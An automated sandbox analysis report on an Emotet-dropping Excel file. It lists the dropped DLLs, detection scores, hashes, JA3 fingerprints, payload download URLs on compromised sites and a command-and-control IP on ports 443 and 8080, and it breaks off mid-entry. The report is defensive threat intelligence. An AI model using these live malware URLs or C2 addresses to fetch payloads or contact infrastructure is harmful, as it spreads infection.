C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	40%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	42%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr1.ocx	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr2.ocx	34%	Metadefender		Browse
C:\Users\user\uxevr2.ocx	42%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr3.ocx	29%	Metadefender		Browse
C:\Users\user\uxevr3.ocx	40%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)	34%	Metadefender		Browse
C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)	42%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)	29%	Metadefender		Browse
C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)	40%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\PlMfP\OpoHHoBHS.dll (copy)	65%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
kuluckaci.com	8%	Virustotal	Browse
mcapublicschool.com	9%	Virustotal	Browse
moorworld.com	5%	Virustotal	Browse
microlent.com	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://173.82.82.196:8080/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://mcapublicschool.com/Achievements/r4psv/	100%	Avira URL Cloud	malware
https://173.82.82.196/q	100%	Avira URL Cloud	malware
http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://173.82.82.196:8080/D.	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/bL	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/H.	100%	Avira URL Cloud	malware
https://173.82.82.196/	100%	URL Reputation	malware
https://173.82.82.196:8080/e	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://microlent.com/admin/3/	100%	Avira URL Cloud	malware
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://173.82.82.196/vL	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/i	100%	Avira URL Cloud	malware
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://173.82.82.196/4.	100%	Avira URL Cloud	malware
https://173.82.82.196/nL	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kuluckaci.com	185.86.13.242	true	true	8%, Virustotal, Browse	unknown
mcapublicschool.com	103.133.214.149	true	false	9%, Virustotal, Browse	unknown
moorworld.com	211.149.139.157	true	false	5%, Virustotal, Browse	unknown
microlent.com	103.195.4.8	true	false	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mcapublicschool.com/Achievements/r4psv/	true	Avira URL Cloud: malware	unknown
http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/	true	Avira URL Cloud: malware	unknown
https://microlent.com/admin/3/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://173.82.82.196:8080/	regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/q	regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196:8080/D.	regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196:8080/bL	regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196:8080/H.	regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196/	regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://173.82.82.196:8080/e	regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/vL	regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196:8080/i	regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/4.	regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://173.82.82.196/nL	regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.133.214.149	mcapublicschool.com	India	133643	EWEBGURU-ASEWEBGURUIN	false
173.82.82.196	unknown	United States	35916	MULTA-ASN1US	true
185.86.13.242	kuluckaci.com	Turkey	29262	IDEALHOSTINGTR	true
103.195.4.8	microlent.com	Hong Kong	64022	KAMATERAINC-AS-APKamateraIncHK	false
211.149.139.157	moorworld.com	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632106
Start date and time: 23/05/202209:55:44	2022-05-23 09:55:44 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Scan 2022.20.05_0910.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@16/17@4/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 51.4% (good quality ratio 27.6%) Quality average: 32.8% Quality standard deviation: 37.5%
HCA Information:	Successful, ratio: 95% Number of executed functions: 45 Number of non-executed functions: 247
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.210, 173.222.108.226
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:57:22	API Interceptor	3237x Sleep call for process: regsvr32.exe modified
09:57:24	API Interceptor	444x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.133.214.149	4921176754627453124.xls	Get hash	malicious	Browse	mcapublicschool.com/Achievements/r4psv/
	10082376542717622006.xls	Get hash	malicious	Browse	mcapublicschool.com/Achievements/r4psv/
	6691113204648532361.xls	Get hash	malicious	Browse	mcapublicschool.com/Achievements/r4psv/
173.82.82.196	Details.lnk	Get hash	malicious	Browse
	Rechnung.xls	Get hash	malicious	Browse
	RechnungsDetails.xls	Get hash	malicious	Browse
	Rechnungskorrektur 2022.20.05_1305.lnk	Get hash	malicious	Browse
	Rechnungskorrektur.xls	Get hash	malicious	Browse
	RechnungsDetails 2022.20.05_1044.lnk	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
	qJhkILqiEA.dll	Get hash	malicious	Browse
	ySv9jlPYxN.dll	Get hash	malicious	Browse
	uDAHAlLDYG.dll	Get hash	malicious	Browse
	qJhkILqiEA.dll	Get hash	malicious	Browse
	kUXfb4ZQK4.dll	Get hash	malicious	Browse
	ySv9jlPYxN.dll	Get hash	malicious	Browse
	uDAHAlLDYG.dll	Get hash	malicious	Browse
	KzqzJLGI6e.dll	Get hash	malicious	Browse
	EVS7gcLnud.dll	Get hash	malicious	Browse
	kUXfb4ZQK4.dll	Get hash	malicious	Browse
185.86.13.242	4921176754627453124.xls	Get hash	malicious	Browse	kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/
	10082376542717622006.xls	Get hash	malicious	Browse	kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/
	6691113204648532361.xls	Get hash	malicious	Browse	kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
microlent.com	4921176754627453124.xls	Get hash	malicious	Browse	103.195.4.8
	Univ-pau_form.xls	Get hash	malicious	Browse	103.195.4.8
	10082376542717622006.xls	Get hash	malicious	Browse	103.195.4.8
	6691113204648532361.xls	Get hash	malicious	Browse	103.195.4.8
	Info 83177.xls	Get hash	malicious	Browse	103.195.4.8
	EL_1705.xls	Get hash	malicious	Browse	103.195.4.8
	DATA_5376.xls	Get hash	malicious	Browse	103.195.4.8
	DETAILS-809816165.xls	Get hash	malicious	Browse	103.195.4.8
	MES-0467746676.xls	Get hash	malicious	Browse	103.195.4.8
moorworld.com	4921176754627453124.xls	Get hash	malicious	Browse	211.149.139.157
	10082376542717622006.xls	Get hash	malicious	Browse	211.149.139.157
	6691113204648532361.xls	Get hash	malicious	Browse	211.149.139.157
kuluckaci.com	4921176754627453124.xls	Get hash	malicious	Browse	185.86.13.242
	10082376542717622006.xls	Get hash	malicious	Browse	185.86.13.242
	6691113204648532361.xls	Get hash	malicious	Browse	185.86.13.242
mcapublicschool.com	4921176754627453124.xls	Get hash	malicious	Browse	103.133.214.149
	10082376542717622006.xls	Get hash	malicious	Browse	103.133.214.149
	6691113204648532361.xls	Get hash	malicious	Browse	103.133.214.149

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MULTA-ASN1US	Details.lnk	Get hash	malicious	Browse	173.82.82.196
	Rechnung.xls	Get hash	malicious	Browse	173.82.82.196
	RechnungsDetails.xls	Get hash	malicious	Browse	173.82.82.196
	Rechnungskorrektur 2022.20.05_1305.lnk	Get hash	malicious	Browse	173.82.82.196
	Rechnungskorrektur.xls	Get hash	malicious	Browse	173.82.82.196
	RechnungsDetails 2022.20.05_1044.lnk	Get hash	malicious	Browse	173.82.82.196
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	173.82.82.196
	melimar.com.xls	Get hash	malicious	Browse	173.82.82.196
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	173.82.82.196
	qJhkILqiEA.dll	Get hash	malicious	Browse	173.82.82.196
	ySv9jlPYxN.dll	Get hash	malicious	Browse	173.82.82.196
	uDAHAlLDYG.dll	Get hash	malicious	Browse	173.82.82.196
	qJhkILqiEA.dll	Get hash	malicious	Browse	173.82.82.196
	kUXfb4ZQK4.dll	Get hash	malicious	Browse	173.82.82.196
	ySv9jlPYxN.dll	Get hash	malicious	Browse	173.82.82.196
	uDAHAlLDYG.dll	Get hash	malicious	Browse	173.82.82.196
	KzqzJLGI6e.dll	Get hash	malicious	Browse	173.82.82.196
	EVS7gcLnud.dll	Get hash	malicious	Browse	173.82.82.196
	kUXfb4ZQK4.dll	Get hash	malicious	Browse	173.82.82.196
EWEBGURU-ASEWEBGURUIN	nnQLG95Iw5.dll	Get hash	malicious	Browse	103.133.214.242
	znINSa9qND.dll	Get hash	malicious	Browse	103.133.214.242
	jb3jwePvPr.dll	Get hash	malicious	Browse	103.133.214.242
	jctwPdlACc.dll	Get hash	malicious	Browse	103.133.214.242
	UFmRNifdR0.dll	Get hash	malicious	Browse	103.133.214.242
	rXxjkzHIQm.dll	Get hash	malicious	Browse	103.133.214.242
	Azw8ucukGo.dll	Get hash	malicious	Browse	103.133.214.242
	jihJNCDwu3.dll	Get hash	malicious	Browse	103.133.214.242
	wfgqmT2Mlh.dll	Get hash	malicious	Browse	103.133.214.242
	UFmRNifdR0.dll	Get hash	malicious	Browse	103.133.214.242
	rXxjkzHIQm.dll	Get hash	malicious	Browse	103.133.214.242
	MmLkS7BBt4.dll	Get hash	malicious	Browse	103.133.214.242
	M8oe4lXnK4.dll	Get hash	malicious	Browse	103.133.214.242
	9ikGlksMpV.dll	Get hash	malicious	Browse	103.133.214.242
	4921176754627453124.xls	Get hash	malicious	Browse	103.133.214.149
	10082376542717622006.xls	Get hash	malicious	Browse	103.133.214.149
	6691113204648532361.xls	Get hash	malicious	Browse	103.133.214.149
	yRObhBb6ES.dll	Get hash	malicious	Browse	103.133.214.242
	pCVON5nWr9.dll	Get hash	malicious	Browse	103.133.214.242
	informe_002.xls	Get hash	malicious	Browse	103.133.214.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	Rechnung.xls	Get hash	malicious	Browse	103.195.4.8
	Invoice.docx	Get hash	malicious	Browse	103.195.4.8
	RechnungsDetails.xls	Get hash	malicious	Browse	103.195.4.8
	Rechnungskorrektur.xls	Get hash	malicious	Browse	103.195.4.8
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	103.195.4.8
	melimar.com.xls	Get hash	malicious	Browse	103.195.4.8
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	103.195.4.8
	report 340.xls	Get hash	malicious	Browse	103.195.4.8
	info_1.xls	Get hash	malicious	Browse	103.195.4.8
	Facture_09.02.2022_V2.xlsb	Get hash	malicious	Browse	103.195.4.8
	Scan 69.xls	Get hash	malicious	Browse	103.195.4.8
	Address Changed.xls	Get hash	malicious	Browse	103.195.4.8
	10082376542717622006.xls	Get hash	malicious	Browse	103.195.4.8
	6691113204648532361.xls	Get hash	malicious	Browse	103.195.4.8
	E318709655.xls	Get hash	malicious	Browse	103.195.4.8
	OGgZVa2y3B.xls	Get hash	malicious	Browse	103.195.4.8
	E282497021.xls	Get hash	malicious	Browse	103.195.4.8
	E2992512590.xls	Get hash	malicious	Browse	103.195.4.8
	L1877777548.xls	Get hash	malicious	Browse	103.195.4.8
	SecuriteInfo.com.Exploit.Siggen3.32399.24702.xls	Get hash	malicious	Browse	103.195.4.8

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.126909434994818
Encrypted:	false
SSDEEP:	6:kKIHoJN+SkQlPlEGYRMY9z+4KlDA3RUesJ21:APkPlE99SNxAhUesE1
MD5:	18DBF570B485AB42C737F80347FF381B
SHA1:	8BF391F1A59133B61B16F398FA3C473B2C461673
SHA-256:	CB9C43DF7C58ACAECC9B64F971BA27EB6C15D2D367276941C2656D837AA9F9A9
SHA-512:	8D34A030DF21D6BF15BFA9653FE4C374F3CB15205EF9ED80B7A3D667D6236EB2791E7FFD79B848D2F76C645EC52C63E9762AE98D2841C3C378D3078A1D9AC78B
Malicious:	false
Preview:	p...... ........U....n..(....................................................... ........3k/"[......(...........(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.3.3.6.b.2.f.2.2.5.b.d.8.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	365056
Entropy (8bit):	7.158088154364803
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT50JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TYRIvgMSS3AyUrhYu3j
MD5:	415A33A830691C3A730AE345F14C7F30
SHA1:	B6FBFAB79E9DE7B81E692149E8059113169AC374
SHA-256:	47F24531BCBBF0C36792AF57CEB134B25E2481AE20B53D74283FBA4E542261BA
SHA-512:	0C92DC9608770EE109C7641B0F46E151CC06A9EE5B8789BC9498C8879E12C1515D46F8F320D54B10DF292121867EA4080C93D2951C1B57C816D6E37D7BA26731
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 40%
IE Cache URL:	http://mcapublicschool.com/Achievements/r4psv/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.15810876493923
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTC0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TPRIvgMSS3AyUrhYu3j
MD5:	CEA8BCCAAFA4CAD4EE2B6E9C3BD9C5C0
SHA1:	88380A35FFC07852B9FACEFF786267DF969A0488
SHA-256:	BAC00AC59383049CF72FC97827D2C8D773FF1ACFC7A132630B133EEDAF9A8241
SHA-512:	A2048D39C24CE94A1D1DF97C577A30A5FAF7573ADC80517381AFDBE769C0D0AF46EDA34B9E897766802440D535DA507EB8C520BD65E13F9D599490EC79836956
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	365056
Entropy (8bit):	7.158108067630563
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTs+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TsrRIvgMSS3AyUrhYu3j
MD5:	EB2D8E105A7A5FBB94CD39848C0B0BC1
SHA1:	21BA3DFB8AA182350CD3EA7CAFB216DFB569EF0C
SHA-256:	3D4A04171182D15A097CC440BABF14582EB0956335AC0C93D7A67225D9E80087
SHA-512:	F0982C373F67A7EDDA6C9CC8B188CC350D19513A77F7F6E2B283132A317126DCA9621F9CA9E23FE28036592B25EBE337A67B49F3775B60FF4E544EA52E549EF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 42%
IE Cache URL:	http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5F20.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.1464700112623651
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	72F5C05B7EA8DD6059BF59F50B22DF33
SHA1:	D5AF52E129E15E3A34772806F6C5FBF132E7408E
SHA-256:	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
SHA-512:	6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cab5CC9.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
